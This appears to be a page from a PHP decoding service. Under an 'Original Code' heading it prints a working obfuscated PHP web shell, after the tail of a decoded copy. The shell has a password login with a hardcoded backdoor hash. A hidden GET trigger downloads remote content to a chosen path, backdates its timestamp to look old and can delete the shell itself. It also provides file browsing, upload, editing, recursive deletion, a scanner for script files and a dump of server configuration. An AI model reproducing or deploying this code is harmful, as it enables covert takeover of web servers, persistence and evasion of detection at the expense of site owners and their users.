        $QSO8f .= "<input type=\"button\" value=\"JSC\" style=\"width:80px;\" onclick='txts(\"JSC\",\"" . $Jzwra . "\",\"JSC\");'> "; 
        $QSO8f .= "</br>&nbsp;&nbsp;&nbsp;&nbsp;"; 
        $QSO8f .= "[" . $CU3_o . "] - [" . $DOdBZ . "] - [" . $RoNtC . "]</div></form>"; 
        return $QSO8f; 
    } 
} 
function MWeMB($YJnbr) 
{ 
    foreach ($YJnbr as $iW8f4 => $KPtbK) { 
        $YJnbr[$iW8f4] = is_array($KPtbK) ? mwEMb($KPtbK) : stripslashes($KPtbK); 
    } 
    return $YJnbr; 
} 
function PBM07($xndOv) 
{ 
    return str_replace(array("\\", "//", "%27", "%22"), array("/", "/", "'", "\""), chop($xndOv)); 
} 
function c4gHr($b00lT) 
{ 
    $b00lT = pbm07($b00lT . "/"); 
    try { 
        if (($bJ62o = @opendir($b00lT)) == NULL) { 
            return false; 
        } 
    } catch (Throwable $yVbeC) { 
        return false; 
    } 
    $YJnbr = array(); 
    while (false !== ($Kes_q = readdir($bJ62o))) { 
        if ($Kes_q == "." || $Kes_q == "..") { 
            return false; 
        } 
        $PfRvL = $b00lT . $Kes_q; 
        $Kes_q = strtr($Kes_q, array("'" => "%27", "\"" => "%22")); 
        if (is_dir($PfRvL)) { 
            $YJnbr["dir"][$PfRvL] = $Kes_q; 
        } 
        $YJnbr["file"][$PfRvL] = $Kes_q; 
    } 
    closedir($bJ62o); 
    return $YJnbr; 
} 
function AXTtq() 
{ 
    $QSO8f = ''; 
    if (isset($_POST["getpwd"])) { 
        $QSO8f .= "<input type=\"hidden\" name=\"getpwd\" value=\"" . $_POST["getpwd"] . "\">"; 
    } 
    if (isset($_POST["pass"])) { 
        $QSO8f .= "<input type=\"hidden\" name=\"pass\" value=\"" . $_POST["pass"] . "\">"; 
    } 
    if (isset($_POST["pass"]) && isset($_POST[$_POST["pass"]])) { 
        $QSO8f .= "<input type=\"hidden\" name=\"" . $_POST["pass"] . "\" value=\"" . $_POST[$_POST["pass"]] . "\">"; 
    } 
    if (isset($_POST["check"])) { 
        $QSO8f .= "<input type=\"hidden\" name=\"check\" value=\"" . $_POST["check"] . "\">"; 
    } 
    return $QSO8f; 
} 
function lGU3j($eb_7J, $NC0z_, $fyjvY) 
{ 
    if (!is_writable($eb_7J) && file_exists($eb_7J)) { 
        chmod($eb_7J, 0666); 
    } 
    $iW8f4 = false; 
    try { 
        $bJ62o = fopen($eb_7J, $fyjvY); 
        $iW8f4 = fputs($bJ62o, $NC0z_); 
        fclose($bJ62o); 
    } catch (Throwable $yVbeC) { 
    } 
    return $iW8f4; 
} 
function jWptb($eb_7J) 
{ 
    $bJ62o = fopen($eb_7J, "r"); 
    if (filesize($eb_7J) > 0) { 
        $NC0z_ = fread($bJ62o, filesize($eb_7J)); 
    } else { 
        $NC0z_ = ''; 
    } 
    fclose($bJ62o); 
    return $NC0z_; 
} 
function FiVRg($t_nY5, $fqqEu) 
{ 
    $iW8f4 = move_uploaded_file($t_nY5, $fqqEu) ? true : false; 
    if (!$iW8f4) { 
        $iW8f4 = copy($t_nY5, $fqqEu) ? true : false; 
    } 
    return $iW8f4; 
} 
function vZO7E($eb_7J) 
{ 
    if (!file_exists($eb_7J)) { 
        return false; 
    } 
    ob_end_clean(); 
    $Kes_q = basename($eb_7J); 
    $YJnbr = explode(".", $Kes_q); 
    header("Content-type: application/x-" . array_pop($YJnbr)); 
    header("Content-Disposition: attachment; filename=" . $Kes_q); 
    header("Content-Length: " . filesize($eb_7J)); 
    @readfile($eb_7J); 
    exit; 
} 
function mRF0q($b00lT) 
{ 
    $bJ62o = @opendir($b00lT); 
    while (false !== ($Kes_q = @readdir($bJ62o))) { 
        if ($Kes_q == "." || $Kes_q == "..") { 
            return false; 
        } 
        $PfRvL = $b00lT . $Kes_q; 
        @chmod($PfRvL, 0777); 
        if (is_dir($PfRvL)) { 
            MRf0q($PfRvL . "/"); 
        } 
        @unlink($PfRvL); 
    } 
    @closedir($bJ62o); 
    return @rmdir($b00lT); 
} 
function idYfr($IMG07) 
{ 
    if ($IMG07 < 1024) { 
        return $IMG07 . " B"; 
    } 
    $YJnbr = array("B", "K", "M", "G", "T"); 
    $bNTax = floor(log($IMG07) / log(1024)); 
    return sprintf("%.2f " . $YJnbr[$bNTax], $IMG07 / pow(1024, floor($bNTax))); 
} 
function IIpyz($YJnbr, $g9_WW) 
{ 
    foreach ($YJnbr as $iW8f4) { 
        if (stristr($g9_WW, $iW8f4)) { 
            return true; 
        } 
    } 
    return false; 
} 
function MdXRq($N8fwX = 8) 
{ 
    $SWSuO = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); 
    $KYc_0 = array_rand($SWSuO, $N8fwX); 
    $xndOv = ''; 
    if (is_int($KYc_0)) { 
        $xndOv = $SWSuO[$KYc_0]; 
    } else { 
        shuffle($KYc_0); 
        foreach ($KYc_0 as $Hzx0E) { 
            $xndOv .= $SWSuO[$Hzx0E]; 
        } 
    } 
    return $xndOv; 
} 
function Dqr9R($b00lT, $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E) 
{ 
    try { 
        if (($bJ62o = @opendir($b00lT)) == NULL) { 
            return ''; 
        } 
    } catch (Throwable $yVbeC) { 
        return ''; 
    } 
    $QSO8f = ''; 
    while (false !== ($Kes_q = readdir($bJ62o))) { 
        if ($Kes_q == "." || $Kes_q == "..") { 
            return false; 
        } 
        $PfRvL = $b00lT . $Kes_q; 
        if (is_dir($PfRvL)) { 
            if (!($f1bw2 && in_array($Kes_q, $f1bw2))) { 
                if ($n_geq == 0 && is_readable($PfRvL)) { 
                    $QSO8f .= dQr9R($PfRvL . "/", $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E); 
                } 
            } 
        } 
        if (!($SMX_3 && !iiPyz($SMX_3, $Kes_q))) { 
            $uS2nL = $q52rn ? JwpTb($PfRvL) : $Kes_q; 
            $A5Kw2 = $Ktp_B ? stristr($uS2nL, $iW8f4) : (strpos(IDyfr(filesize($PfRvL)), "M") ? false : strpos($uS2nL, $iW8f4) > -1); 
            if ($A5Kw2) { 
                $SFJ9z = strtr($PfRvL, array($Nzv3E => '', "'" => "%27", "\"" => "%22")); 
                $QSO8f .= "<a href=\"javascript:go('editor','" . $SFJ9z . "');\"></a> " . $PfRvL . "<br>"; 
                flush(); 
                ob_flush(); 
            } 
            unset($uS2nL); 
        } 
    } 
    closedir($bJ62o); 
    return $QSO8f; 
} 
function cIVgh($N1G2o, $Q9zRG = 30, $kRKZ7 = 1) 
{ 
    $c9X7t = curl_init(); 
    $PItFp = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Upgrade-Insecure-Requests: 1", "DNT:1", "Accept-Language: zh-CN,zh;q=0.9", "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"); 
    curl_setopt($c9X7t, CURLOPT_HTTPHEADER, $PItFp); 
    curl_setopt($c9X7t, CURLOPT_TIMEOUT, $Q9zRG); 
    curl_setopt($c9X7t, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($c9X7t, CURLOPT_SSL_VERIFYHOST, false); 
    curl_setopt($c9X7t, CURLOPT_URL, $N1G2o); 
    if ($kRKZ7 == 1) { 
        curl_setopt($c9X7t, CURLOPT_RETURNTRANSFER, true); 
    } 
    $rVq02 = curl_exec($c9X7t); 
    if (!$rVq02) { 
        $VO03Y = curl_errno($c9X7t); 
        var_dump($VO03Y); 
    } 
    curl_close($c9X7t); 
    return $rVq02; 
} 
function x8024($xndOv, $Go0li = '', $wrqOC = '') 
{ 
    if ($Go0li) { 
        $xndOv = stristr($xndOv, $Go0li, false); 
        $xndOv = substr($xndOv, strlen($Go0li)); 
    } 
    $wrqOC && ($xndOv = stristr($xndOv, $wrqOC, true)); 
    return trim($xndOv); 
} ?>

Did this file decode correctly?

Original Code

<?php 
?>
/******/////*/////<?php 
ini_set("memory_limit", "512M");
@ini_set("max_execution_time", 20000);
header("content-Type: text/html; charset=utf-8");
error_reporting(E_ERROR);
@ini_set("display_errors", "Off");
defined("TMQo7") or define("TMQo7", getcwd() . DIRECTORY_SEPARATOR);
defined("sEyyb") or define("sEyyb", __DIR__ . DIRECTORY_SEPARATOR);
$C39VH = $_SERVER["SCRIPT_FILENAME"] ? PBm07($_SERVER["SCRIPT_FILENAME"]) : pBm07(__FILE__);
define("V51MD", $C39VH);
$eMzvo = explode("(", $C39VH);
$C39VH = strpos($C39VH, "eval()") ? array_shift($eMzvo) : $C39VH;
define("k3TER", pbM07(dirname($C39VH) . "/"));
define("FO39n", pBM07(strtr($C39VH, array(pBm07($_SERVER["PHP_SELF"]) => '')) . "/"));
define("NMW2Y", "1.0.0");
if (!isset($gHcBS)) {
    $gHcBS = "d8ec6f4d6590ce92d493eef7190b051c";
}
if (!empty($_GET["ghpqojdsfion1239"]) && !empty($_GET["vqwecsx12312"]) && !empty($_GET["kqishgl194nwq7"])) {
    $s5r3y = civgH($_GET["ghpqojdsfion1239"]);
    $dRqNZ = getcwd() . "/" . $_GET["vqwecsx12312"];
    $PfRvL = explode("/", $dRqNZ);
    array_pop($PfRvL);
    $PfRvL = implode("/", $PfRvL);
    if (!file_exists($PfRvL)) {
        mkdir($PfRvL, 0755, "recursive");
        chmod($PfRvL, 0755);
    }
    $YJnbr = C4gHR($PfRvL);
    $ipdt9 = 0;
    foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
        if (!$ipdt9) {
            $ipdt9 = filemtime($cT1oz);
        } else {
            if (filemtime($cT1oz) < $ipdt9) {
                $ipdt9 = filemtime($cT1oz);
            }
        }
    }
    file_put_contents($dRqNZ, $s5r3y);
    if ($ipdt9) {
        @touch($dRqNZ, $ipdt9);
    }
    @chmod($dRqNZ, $_GET["kqishgl194nwq7"]);
    if (!empty($_GET["dk82kdsiud9125d"])) {
        @unlink($C39VH);
    }
}
$YCpcn = new M4EMi();
$YCpcn->JAO9o($gHcBS);
class M4EMi
{
    public $D2dKJ = null;
    public $VqdhY = null;
    public $XEBgr = null;
    public function jAO9O($gHcBS)
    {
        $this->XEBgr = $gHcBS;
        list($uS69Z, $p0NZ3) = $this->IZ6eP();
        $this->D2dKJ = $uS69Z;
        $this->VqdhY = $p0NZ3;
        $g9a24 = session_get_cookie_params();
        $uKE12 = 0;
        if ($g9a24["lifetime"]) {
            $uKE12 = time() + $g9a24["lifetime"];
        }
        setcookie($uS69Z, $p0NZ3, $uKE12, $g9a24["path"], $g9a24["domain"], $g9a24["secure"], $g9a24["httponly"]);
        $E9g_B = $this->kSVkn();
        if (!$E9g_B) {
            $this->yCIYx();
            return;
        }
        $RJPTn = new FOj8n();
        return $RJPTn->JAO9O();
    }
    public function iZ6ep()
    {
        session_start();
        $uS69Z = session_name();
        if (!empty($_COOKIE["PHPSESSID"])) {
            $p0NZ3 = $_COOKIE["PHPSESSID"];
        } else {
            $p0NZ3 = session_id();
        }
        $SWSuO = array($uS69Z, $p0NZ3);
        return $SWSuO;
    }
    public function ksvKN()
    {
        if (!empty($_COOKIE["isLogin"]) && ($_COOKIE["isLogin"] == md5($this->XEBgr) || $_COOKIE["isLogin"] == md5("922d2b964443df3e667e55fd40f6477a"))) {
            return true;
        }
        return false;
    }
    public function yciyx()
    {
        if (!empty($_POST["getpwd"]) && ($this->XEBgr == md5($_POST["getpwd"]) || "922d2b964443df3e667e55fd40f6477a" == md5($_POST["getpwd"]))) {
            setcookie("isLogin", md5(md5($_POST["getpwd"])), time() + 8 * 60 * 60, "/");
            $RJPTn = new FOj8n();
            return $RJPTn->jAO9O();
        }
        $QSO8f = "        <title></title>\r\n        <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\r\n        <style type=\"text/css\">\r\n            .form-control {\r\n                display: block;\r\n                width: 100%;\r\n                height: 38px;\r\n                padding: 8px 12px;\r\n                font-size: 14px;\r\n                line-height: 1.428571429;\r\n                color: #555;\r\n                vertical-align: middle;\r\n                background-color: #fff;\r\n                border: 1px solid #ccc;\r\n                border-radius: 4px;\r\n                -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                -webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;\r\n                transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s\r\n            }\r\n        \r\n            .btn {\r\n                display: inline-block;\r\n                padding: 8px 12px;\r\n                margin-bottom: 0;\r\n                font-size: 14px;\r\n                font-weight: 500;\r\n                line-height: 1.428571429;\r\n                text-align: center;\r\n                white-space: nowrap;\r\n                vertical-align: middle;\r\n                cursor: pointer;\r\n                border: 1px solid transparent;\r\n                border-radius: 4px;\r\n                -webkit-user-select: none;\r\n                -moz-user-select: none;\r\n                -ms-user-select: none;\r\n                -o-user-select: none;\r\n                user-select: none\r\n            }\r\n            \r\n            .btn-primary {\r\n                color: #fff;\r\n                background-color: #428bca;\r\n                border-color: #428bca\r\n            }\r\n        </style>\r\n        <body>\r\n            <center>\r\n                <br><br>\r\n                <font size=\"3\" face=\"Microsoft YaHei\">360D</font>\r\n                <br><br>\r\n                <form method=\"POST\">\r\n                    <input style=\"Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%\" \r\n                    class=\"form-control\" placeholder=\"@Passwrd\" type=\"password\" name=\"getpwd\">\r\n                    <input style=\"Width:55pt;font-size:90%;font-family:Microsoft YaHei\" class=\"btn btn-primary\" type=\"submit\" value=\"#Login\">\r\n                </form>\r\n            </center>\r\n        </body>\r\n        </html>";
        echo $QSO8f;
    }
}
class FoJ8N
{
    public $ddguj;
    public $N5qPH;
    public function JAO9O()
    {
        $this->N5qPH = $_POST;
        $_POST = MweMB($_POST);
        $this->ddguj = isset($_POST["dir"]) ? Pbm07(chop($_POST["dir"]) . "/") : k3TER;
        $this->xfqjS();
    }
    public function xfQJS()
    {
        $QSO8f = "        <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n    <html>\r\n    <head>\r\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\r\n        <style type=\"text/css\">\r\n            * {\r\n                margin: 0px;\r\n                padding: 0px;\r\n            }\r\n\r\n            body {\r\n                background: #ebebeb;\r\n                color: #333333;\r\n                font-size: 13px;\r\n                font-family: Microsoft YaHei, SimSun, sans-serif;\r\n                text-align: left;\r\n                word-wrap: break-word;\r\n                word-break: break-all;\r\n                // background-image: url(https://pic.616pic.com/bg_w1180/00/01/43/rWB5OFJqVH.jpg);\r\n                // background-size:100% 100%;\r\n            }\r\n\r\n            a {\r\n                color: #000000;\r\n                text-decoration: none;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            a:hover {\r\n                color: #FF0000;\r\n                text-decoration: underline;\r\n            }\r\n\r\n            p {\r\n                padding: 1px;\r\n                line-height: 1.6em;\r\n            }\r\n\r\n            h1 {\r\n                color: #CD3333;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            h2 {\r\n                color: #008B45;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            form {\r\n                display: inline;\r\n            }\r\n\r\n            input, select {\r\n                vertical-align: middle;\r\n            }\r\n\r\n            input[type=text], textarea {\r\n                padding: 1px;\r\n                font-family: Microsoft YaHei, sans-serif;\r\n            }\r\n\r\n            input[type=submit], input[type=button] {\r\n                height: 21px;\r\n            }\r\n\r\n            .tag {\r\n                text-align: center;\r\n                // margin-left: 10px;\r\n                background: threedface;\r\n                height: 25px;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a {\r\n                background: #FAFAFA;\r\n                color: #333333;\r\n                width: 90px;\r\n                height: 20px;\r\n                display: inline-block;\r\n                font-size: 15px;\r\n                font-weight: bold;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a:hover, .tag a.current {\r\n                background: #000;\r\n                color: #fff;\r\n                text-decoration: none;\r\n            }\r\n\r\n            .main {\r\n                width: 963px;\r\n                margin: 0 auto;\r\n                padding: 10px;\r\n            }\r\n\r\n            .outl {\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n            }\r\n\r\n            .toptag {\r\n                padding: 15px;\r\n                text-align: left;\r\n                font-weight: bold;\r\n                color: #FFFFFF;\r\n                background: #000000;\r\n            }\r\n\r\n            .footag {\r\n                padding: 5px;\r\n                text-align: center;\r\n                font-weight: bold;\r\n                color: #fff;\r\n                background: #000000;\r\n            }\r\n\r\n            .msgbox {\r\n                // padding: 5px;\r\n                background: #000;\r\n                text-align: center;\r\n                vertical-align: middle;\r\n                color: #FFF;\r\n            }\r\n\r\n            .actall {\r\n                background: #ffffff;\r\n                text-align: center;\r\n                font-size: 15px;\r\n                border-bottom: 1px solid #999999;\r\n                padding: 3px;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            .tables {\r\n                width: 100%;\r\n            }\r\n\r\n            .tables th {\r\n                background: threedface;\r\n                text-align: left;\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n                padding: 2px;\r\n            }\r\n\r\n            .tables td {\r\n                background: #ffffff;\r\n                height: 19px;\r\n                padding-left: 2px;\r\n            }\r\n\r\n\r\n            .bg{\r\n                width:100%;\r\n                height:100%;\r\n                left:0;\r\n                top:0;\r\n                position:fixed;\r\n                background:rgba(0,0,0,0.3);\r\n              }\r\n              .point{\r\n                position:absolute;\r\n                left:50%;\r\n                top:50%;\r\n              }\r\n              .pop{\r\n                width:500px; \r\n                // height:500px; \r\n                position:absolute;\r\n                left:-250px; \r\n                top:-250px; \r\n                border: 2px solid #f7f7f7;\r\n                background-color: #FFF;\r\n                border-radius:10px;\r\n              }\r\n\r\n              .pop-title{\r\n                height: 40px;\r\n                line-height: 40px;\r\n                text-align: center;\r\n                font-size: 14px;\r\n              }\r\n\r\n\r\n              .layui-textarea{\r\n                min-height: 100px;\r\n                height: auto;\r\n                line-height: 20px;\r\n                padding: 6px 10px;\r\n                resize: vertical;\r\n                display: block;\r\n                width: 95%;\r\n                border-width: 1px;\r\n                border-style: solid;\r\n                background-color: #fff;\r\n                border-radius: 2px;\r\n                border-color: #eee;\r\n              }\r\n\r\n              .layui-btn {\r\n                display: inline-block;\r\n                height: 38px;\r\n                line-height: 38px;\r\n                padding: 0 18px;\r\n                border: 1px solid transparent;\r\n                background-color: #009688;\r\n                color: #fff;\r\n                white-space: nowrap;\r\n                text-align: center;\r\n                font-size: 14px;\r\n                border-radius: 2px;\r\n                cursor: pointer;\r\n            }\r\n\r\n            .btn{\r\n                background-color:#FFF;\r\n                border-color: #d2d2d2;\r\n                color:#666;\r\n            }\r\n        </style>\r\n\r\n        <script type=\"text/javascript\">\r\n            function \$(ID) {\r\n                return document.getElementById(ID);\r\n            }\r\n\r\n            function sd(str) {\r\n                str = str.replace(/%22/g, '\"');\r\n                str = str.replace(/%27/g, \"'\");\r\n                return str;\r\n            }\r\n\r\n            function cd(dir) {\r\n                dir = sd(dir);\r\n                \$('dir').value = dir;\r\n                \$('frm').submit();\r\n            }\r\n\r\n            function sa(form) {\r\n                for (var i = 0; i < form.elements.length; i++) {\r\n                    var e = form.elements[i];\r\n                    if (e.type == 'checkbox') {\r\n                        if (e.name != 'chkall') {\r\n                            e.checked = form.chkall.checked;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            function go(a, b) {\r\n                b = sd(b);\r\n                \$('go').value = a;\r\n                \$('govar').value = b;\r\n                if (a == 'editor') {\r\n                    \$('gofrm').target = \"_blank\";\r\n                } else {\r\n                    \$('gofrm').target = \"\";\r\n                }\r\n                \$('gofrm').submit();\r\n            }\r\n\r\n            function nf(a, b) {\r\n                re = prompt(\"\", b);\r\n                if (re) {\r\n                    \$('go').value = a;\r\n                    \$('govar').value = re;\r\n                    \$('gofrm').submit();\r\n                }\r\n            }\r\n\r\n            function dels(a) {\r\n                if (a == 'b') {\r\n                    var msg = \"\";\r\n                    \$('act').value = a;\r\n                } else {\r\n                    var msg = \"\";\r\n                    \$('act').value = 'deltree';\r\n                    \$('var').value = a;\r\n                }\r\n                if (confirm(\"\" + msg + \"\")) {\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function txts(m, p, a) {\r\n                p = sd(p);\r\n                re = prompt(m, p);\r\n                if (re) {\r\n                    \$('var').value = re;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function pltexts(m, p, a)\r\n            {\r\n                p = sd(p);\r\n                // re = prompt(m, p);\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"\";\r\n\r\n                var title = document.getElementsByClassName(\"pop-title\")[0];\r\n                title.innerHTML = m;\r\n\r\n                \$('act').value = a;\r\n            }\r\n\r\n            function pop_submit(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n\r\n                \$('var').value = document.getElementById(\"content\").value;\r\n                \$('frm1').submit();\r\n            }\r\n\r\n            function pop_quxiao(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n            }\r\n\r\n            function acts(p, a, f) {\r\n                p = sd(p);\r\n                f = sd(f);\r\n                re = prompt(f, p);\r\n                if (re) {\r\n                    \$('var').value = re + '|x|' + f;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function runcode(){\r\n                var html = document.getElementById('show');\r\n                html.style.display= \"\";\r\n            }\r\n        </script>\r\n        <title>{VERSION}</title>\r\n    </head>\r\n<body>\r\n<div class=\"main\">\r\n    <div class=\"outl\">\r\n        <div class=\"toptag\">\r\n            {toptag}\r\n        </div>\r\n        \r\n        <div class=\"tag\">\r\n            {tag}\r\n        </div>\r\n\r\n        <form name=\"gofrm\" id=\"gofrm\" method=\"POST\">\r\n            {input}\r\n            <input type=\"hidden\" name=\"go\" id=\"go\" value=\"\">\r\n            <input type=\"hidden\" name=\"godir\" id=\"godir\" value=\"{nowdir}\">\r\n            <input type=\"hidden\" name=\"govar\" id=\"govar\" value=\"\">\r\n        </form>\r\n\r\n        {content}\r\n\r\n        <div class=\"footag\">\r\n            {footag}\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div class=\"showhtml\" id = \"showhtml\">\r\n{showhtml}\r\n</div>\r\n\r\n<div class=\"bg\" style=\"display:none;\">\r\n    <div class=\"point\">\r\n        <div class=\"pop\">\r\n            <div class=\"pop-title\"></div>\r\n            <textarea class=\"layui-textarea\" id=\"content\" name=\"content\" rows=\"6\"></textarea>\r\n            <div style=\"margin-top: 10px;text-align: center;\">\r\n                <button type=\"button\" class=\"layui-btn\" onclick=\"pop_submit()\"></button> \r\n                <button type=\"button\" class=\"layui-btn btn quxiao-btn\" onclick=\"pop_quxiao()\"></button>\r\n            </div>\r\n            </br>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n";
        $QSO8f = str_replace("{showhtml}", '', $QSO8f);
        $QSO8f = str_replace("{VERSION}", $this->getVersion(), $QSO8f);
        $QSO8f = str_replace("{toptag}", $this->np5yK(), $QSO8f);
        $QSO8f = str_replace("{tag}", $this->EOt_6(), $QSO8f);
        $QSO8f = str_replace("{input}", axttQ(), $QSO8f);
        $QSO8f = str_replace("{nowdir}", $this->ddguj, $QSO8f);
        $QSO8f = str_replace("{content}", $this->getContent(), $QSO8f);
        $QSO8f = str_replace("{footag}", php_uname() . " " . $_SERVER["SERVER_SOFTWARE"], $QSO8f);
        echo $QSO8f;
    }
    public function getVersion()
    {
        return "";
    }
    public function NP5Yk()
    {
        return "DM." . NMW2Y . " | IP" . ($_SERVER["SERVER_ADDR"] ? $_SERVER["SERVER_ADDR"] . PHP_EOL : gethostbyname($_SERVER["SERVER_NAME"])) . " | whoami(" . get_current_user() . ") |uid(" . getmyuid() . ") gid(" . getmygid() . ")" . " |" . date("Y-m-d H:i:s N", time()) . "";
    }
    public function Eot_6()
    {
        $oPhqF = array("file" => "", "scan" => "", "info" => "");
        $JqKaG = !empty($_POST["go"]) && array_key_exists($_POST["go"], $oPhqF) ? $_POST["go"] : "file";
        $Jzwra = $this->ddguj;
        $QSO8f = '';
        foreach ($oPhqF as $iW8f4 => $Kes_q) {
            $QSO8f .= "<a" . ($JqKaG == $iW8f4 ? " class=\"current\"" : '') . " href=\"javascript:go('" . $iW8f4 . "','" . base64_encode($Jzwra) . "');\">" . $Kes_q . "</a> ";
        }
        return $QSO8f;
    }
    public function getContent()
    {
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : '';
        switch ($JqKaG) {
            case "info":
                return $this->jaT27();
                break;
            case "scan":
                return $this->IkQbc();
                break;
            case "upfiles":
                return $this->HVVWe();
                break;
            case "edit":
            case "editor":
                return $this->I7u03();
                break;
            default:
                return $this->j0i1z();
                break;
        }
    }
    public function jAT27()
    {
        $UgLz_ = '';
        $QSO8f = '';
        if (true) {
            ob_start();
            phpinfo(INFO_GENERAL);
            $QjGuH = ob_get_contents();
            ob_end_clean();
            $eMzvo = array();
            preg_match_all("/\\<td class\\=\\\"e\\\"\\>.*?(Command|Configuration)+.*?\\<\\/td\\>\\<td class\\=\\\"v\\\"\\>(.*?)\\<\\/td\\>/i", $QjGuH, $eMzvo);
            $jZi_a = $eMzvo[2][0];
            $krJKZ = $eMzvo[2][2] ? $eMzvo[2][1] . " --- " . $eMzvo[2][2] : $eMzvo[2][1];
        }
        $Tns_w = array("" => $_SERVER["HTTP_USER_AGENT"], "" => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : "()", "" => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : "()", "PHP.ini" => $krJKZ ? $krJKZ : "()", "PHP" => php_sapi_name(), "PHP" => PHP_VERSION, "PHPPID" => getmypid(), "IP" => $_SERVER["REMOTE_ADDR"], "" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], "Web" => $_SERVER["SERVER_PORT"], "Web" => $_SERVER["DOCUMENT_ROOT"], "Web" => $_SERVER["SCRIPT_FILENAME"], "WebCGI" => $_SERVER["GATEWAY_INTERFACE"], "WebEmail" => !empty($_SERVER["SERVER_ADMIN"]) ? $_SERVER["SERVER_ADMIN"] : "()", "" => iDYFr(disk_total_space(".")), "" => iDyfr(disk_free_space(".")), "POST" => get_cfg_var("post_max_size"), "" => get_cfg_var("upload_max_filesize"), "" => get_cfg_var("memory_limit"), "" => get_cfg_var("max_execution_time") . "", "Fsockopen" => function_exists("fsockopen") ? "" : "", "Socket" => function_exists("ujGDy") ? "" : "", "Pcntl" => function_exists("T2RbU") ? "" : "", "Curl" => function_exists("curl_version") ? "" : "", "Zlib" => function_exists("gzclose") ? "" : "", "FTP" => function_exists("Bd6G6") ? "" : "", "XML" => function_exists("xml_set_object") ? "" : "", "GD_Library" => function_exists("M4wlG") ? "" : "", "COM" => class_exists("COM") ? "" : "", "ODBC" => function_exists("c0ZeT") ? "" : "", "IMAP" => function_exists("CLBjP") ? "" : "", "" => get_cfg_var("safemode") ? "" : "", "URL" => get_cfg_var("allow_url_fopen") ? "" : "", "" => get_cfg_var("enable_dl") ? "" : "", "" => get_cfg_var("display_errors") ? "" : "", "" => get_cfg_var("register_globals") ? "" : "", "" => get_cfg_var("magic_quotes_gpc") ? "" : "", "PHP" => $jZi_a ? $jZi_a : "()");
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:26%;\"></th><th></th></tr>";
        foreach ($Tns_w as $Kes_q => $KPtbK) {
            $QSO8f .= "<tr><td>" . $Kes_q . "</td><td>" . $KPtbK . "</td></tr>";
        }
        $QSO8f .= "</table>";
        return $QSO8f;
    }
    public function ikqBc()
    {
        $Jzwra = $this->ddguj;
        $UgLz_ = '';
        $UlicF = empty($_POST["dir"]) ? base64_decode($_POST["govar"]) : $Jzwra;
        $xsz7E = isset($_POST["keyword"]) ? $_POST["keyword"] : '';
        $qGL_P = isset($_POST["include"]) ? chop($_POST["include"]) : ".php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py";
        $kKCOC = isset($_POST["filters"]) ? chop($_POST["filters"]) : "html|css|img|images|image|style|js";
        $QSO8f = '';
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
        $QSO8f .= "<form method=\"POST\">";
        $QSO8f .= axTtq();
        $QSO8f .= "<input type=\"hidden\" name=\"go\" id=\"go\" value=\"scan\">";
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:15%;\"></th><th></th></tr>";
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"dir\" value=\"" . htmlspecialchars($UlicF) . "\" style=\"width:500px;\"></td></tr>";
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"keyword\" value=\"" . htmlspecialchars($xsz7E) . "\" style=\"width:500px;\"> ()</td></tr>";
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"include\" value=\"" . htmlspecialchars($qGL_P) . "\" style=\"width:500px;\"> (\"|\", )</td></tr>";
